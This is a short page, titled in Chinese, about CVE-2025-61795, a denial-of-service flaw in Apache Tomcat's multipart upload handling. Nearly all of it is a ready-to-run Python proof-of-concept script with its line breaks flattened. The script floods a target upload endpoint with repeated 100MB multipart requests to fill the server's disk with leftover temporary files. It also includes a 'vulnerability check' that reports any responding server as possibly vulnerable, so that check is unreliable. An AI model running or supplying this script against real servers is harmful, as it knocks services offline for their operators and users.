CVE-2025-61795 Apache Tomcat multipart上传临时文件未及时清理导致DoS

import requests import sys import time # CVE-2025-61795 PoC - Apache Tomcat Multipart DoS # This PoC demonstrates the resource exhaustion via multipart upload errors def exploit_tomcat_dos(target_url, max_requests=100): """ Exploit CVE-2025-61795 by sending oversized multipart uploads that trigger errors and leave temporary files uncleaned. Args: target_url: Target Tomcat endpoint (e.g., http://target.com/upload) max_requests: Number of malicious requests to send """ # Create a large file content that exceeds typical upload limits # This will trigger an error in Tomcat's multipart handler large_content = b'X' * (100 * 1024 * 1024) # 100MB print(f"[*] Starting CVE-2025-61795 DoS attack against {target_url}") print(f"[*] Sending {max_requests} oversized multipart requests...") success_count = 0 for i in range(max_requests): try: files = { 'file': ('malicious_file.dat', large_content, 'application/octet-stream') } data = {'filename': f'test_{i}.dat'} response = requests.post( target_url, files=files, data=data, timeout=30, allow_redirects=False ) # Even if we get an error response, temp files may not be cleaned success_count += 1 if i % 10 == 0: print(f"[*] Progress: {i}/{max_requests} requests sent") except requests.exceptions.RequestException as e: print(f"[!] Request {i} failed: {e}") print(f"[*] Attack completed. {success_count} requests sent.") print(f"[*] Temporary files may accumulate on the server disk.") return success_count def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-61795 """ print(f"[*] Checking if {target_url} is vulnerable...") # Send a small test file first test_content = b'test data' files = {'file': ('test.txt', test_content, 'text/plain')} try: response = requests.post(target_url, files=files, timeout=10) print(f"[*] Server responded with status: {response.status_code}") print(f"[*] Target may be vulnerable if running affected Tomcat versions") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve_2025_61795_poc.py <target_url> [max_requests]") print("Example: python cve_2025_61795_poc.py http://target.com/upload 100") sys.exit(1) target = sys.argv[1] max_req = int(sys.argv[2]) if len(sys.argv) > 2 else 100 check_vulnerability(target) exploit_tomcat_dos(target, max_req)